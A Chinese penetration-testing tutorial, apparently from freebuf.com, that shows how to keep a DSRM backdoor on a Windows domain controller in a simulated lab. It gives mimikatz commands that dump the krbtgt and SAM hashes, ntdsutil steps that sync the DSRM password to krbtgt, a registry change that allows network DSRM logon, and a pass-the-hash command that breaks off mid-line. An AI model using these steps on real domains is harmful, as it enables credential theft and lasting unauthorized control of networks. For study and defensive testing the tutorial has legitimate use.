系列文章
简介
渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油,学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
一、前言
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,不管是出于何种目的,未经授权的渗透测试都是不合法的!红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 -> 辅域控制器 -> 财务独立域
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸(财务独立域10.10.21.0/24)
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过前几期的域森林专辑文章中利用隐藏通道技术、权限提升、横向攻击、域控安全技术、跨域攻击、置零攻击等手段对公司进行了大面积渗透行为,今天我们就来对域森林中如何进行权限维持进行攻击,总结实战中会遇到的各种权限维持的方法,利用这些方法在内网中遨游!
不会权限维持的技术,就无法长久的控制系统进行维持攻击行为!
二、环境介绍
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
在通常情况下攻击者成功贡献该服务器系统后,会利用权限维持进行植入后门,后门(backdoor)是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。在大多数情况下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。
在获得域控制器的权限后,攻击者通常会对现有的权限进行持久化操作。本篇文章将分所攻击者在拥有域管理员权限后将权限持久化的方法,并给出相应的防范措施。
本节将介绍实战中常用的权限维持方法进行攻击渗透!
三、DSRM域后门
1、DSRM域后门简介
DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户 (也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版木的系统中不需要安装此补丁。如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作。
我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。
2、修改DSRM密码的方法
微软公布了修改DSRM密码的方法。在城控制器上打开令行环境,常用命令说明如下:
1)第一种方法:
1. NTDSUTIL: 打开ntdsutil
2. set dsrm password #设置DSRM的密码。
3. reset password on server null #在当前域控制器上恢复DSRM密码。
4. <PASSWORD>:修改后的密码。
5. q(第1次):退出DSRM密码设置模式。
6. q(第2次):退出ntdsutil
2)第二种方法:
ntdsutil
set dsrm password
sync from domain account krbtgt
q
q
3、真实渗透操作演示
(1)使用mimikatz查看krbtgt的NTLM Hash在域控制器中打开mikaiz,分别输人如下命令:
privilege::debug
lsadump::lsa /patch /name:krbtgt
(2)mimikatz查看并获取SAM文件中本地管理员的NTML
token::elevate
lsadump::sam
efc1f46c9bdbb7db97fb29bef52edb82
(3)将DSRM账号和krbtgt的NTML HASH同步
ntdsutil
set dsrm password
sync from domain account krbtgt
q
q
(4)查看DSRM的NTML Hash是否同步成功
lsadump::sam
lsadump::lsa /patch /name:krbtgt
(5)修改DSRM的登录方式
DSRM的三种登录方式,具体如下。
1. 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
2. 1: 只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
3. 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
在渗透测试中需要注意,在Windows Server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2,输人如下命令,可以使用PowerShell进行更改:
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
(6)使用DSRM账号通过网络远程登录域控制器
使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz:
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xiyou.xiyou.dayu.com /ntlm:42e2656ec243312
来源:freebuf.com 2021-06-30 09:17:56 by: dayuxiyou
请登录后发表评论
注册